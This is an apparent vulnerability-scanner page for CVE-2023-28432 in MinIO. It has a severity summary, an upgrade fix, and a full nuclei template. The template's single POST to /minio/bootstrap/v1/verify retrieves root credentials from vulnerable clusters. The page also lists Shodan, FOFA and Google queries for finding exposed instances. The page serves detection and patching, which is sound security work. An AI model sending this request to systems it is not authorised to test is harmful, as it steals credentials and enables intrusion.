MinIO Cluster Deployment - Information Disclosure

Exploited in the wild. Listed by CISA on 2023-04-21; known to be used by ransomware.

highseverity

7.5CVSS score

84%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted.

Impact

An attacker can gain unauthorized access to sensitive information stored in the MinIO cluster.

Fix

All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.

How to confirm it

Send: POST /minio/bootstrap/v1/verify
Positive when: contains "\"MINIO_ROOT_PASSWORD\":" or "\"MINIO_ROOT_USER\":" or "\"MinioEnv\":" AND contains in header "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2023-28432 -u <target>

The full check

id: CVE-2023-28432

info:
  name: MinIO Cluster Deployment - Information Disclosure
  author: Mr-xn
  severity: high
  description: |
    MinIO is susceptible to information disclosure. In a cluster deployment starting with RELEASE.2019-12-17T23-16-33Z and prior to RELEASE.2023-03-20T20-16-18Z, MinIO returns all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized operations without entering necessary credentials. All users of distributed deployment are impacted.
  impact: |
    An attacker can gain unauthorized access to sensitive information stored in the MinIO cluster.
  remediation: All users are advised to upgrade to RELEASE.2023-03-20T20-16-18Z.
  reference:
    - https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
    - https://github.com/minio/minio/pull/16853/files
    - https://github.com/golang/vulndb/issues/1667
    - https://github.com/CVEProject/cvelist/blob/master/2023/28xxx/CVE-2023-28432.json
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28432
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-28432
    cwe-id: CWE-200,NVD-CWE-noinfo
    epss-score: 0.83957
    epss-percentile: 0.99696
    cpe: cpe:2.3:a:minio:minio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: minio
    product: minio
    shodan-query:
      - title:"Minio Console"
      - http.title:"minio browser"
      - cpe:"cpe:2.3:a:minio:minio"
      - http.title:"minio console"
    fofa-query:
      - app="Minio"
      - app="minio"
      - title="minio browser"
      - title="minio console"
    google-query:
      - intitle:"minio browser"
      - intitle:"minio console"
  tags: cve,cve2023,minio,console,exposure,kev,vkev,vuln

http:
  - raw:
      - |+
        POST /minio/bootstrap/v1/verify HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"MINIO_ROOT_PASSWORD":'
          - '"MINIO_ROOT_USER":'
          - '"MinioEnv":'
        condition: or

      - type: word
        part: header
        words:
          - 'text/plain'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from